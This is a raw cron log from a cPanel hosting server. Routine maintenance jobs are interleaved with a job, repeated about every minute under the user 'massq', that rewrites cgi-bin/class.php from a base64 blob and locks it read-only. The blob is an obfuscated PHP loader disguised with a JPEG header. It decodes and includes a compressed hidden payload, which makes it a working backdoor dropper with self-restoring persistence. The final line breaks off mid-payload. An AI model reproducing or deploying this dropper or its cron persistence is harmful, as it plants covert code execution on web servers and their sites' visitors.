Sep  3 04:30:01 server CROND[1348]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:30:01 server CROND[1352]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:30:01 server CROND[1358]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  3 04:30:01 server CROND[1359]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:30:01 server CROND[1361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:30:01 server CROND[1360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:30:01 server CROND[1362]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:30:01 server CROND[1363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:30:01 server CROND[1364]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 04:30:01 server CROND[1369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:31:01 server CROND[2247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:31:01 server CROND[2249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:31:01 server CROND[2248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:32:01 server CROND[2651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:32:01 server CROND[2652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:32:01 server CROND[2653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:33:01 server CROND[3152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:33:01 server CROND[3155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:33:01 server CROND[3154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:34:01 server CROND[3549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:34:01 server CROND[3550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:34:01 server CROND[3551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:35:01 server CROND[3944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:35:01 server CROND[3946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:35:01 server CROND[3948]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 04:35:01 server CROND[3949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:35:01 server CROND[3951]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:35:01 server CROND[3947]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:35:01 server CROND[3953]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 04:35:01 server CROND[3956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:35:01 server CROND[3952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:36:02 server CROND[4819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:36:02 server CROND[4820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:36:02 server CROND[4829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:37:01 server CROND[5214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:37:01 server CROND[5215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:37:01 server CROND[5217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:38:01 server CROND[5684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:38:01 server CROND[5685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:38:01 server CROND[5686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:39:01 server CROND[6073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:39:01 server CROND[6075]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 04:39:01 server CROND[6074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:39:01 server CROND[6076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:40:01 server CROND[6484]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:40:01 server CROND[6485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:40:01 server CROND[6488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:40:01 server CROND[6489]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:40:01 server CROND[6492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:40:01 server CROND[6496]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:40:01 server CROND[6498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:40:01 server CROND[6494]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:41:01 server CROND[7537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:41:01 server CROND[7538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:41:01 server CROND[7539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1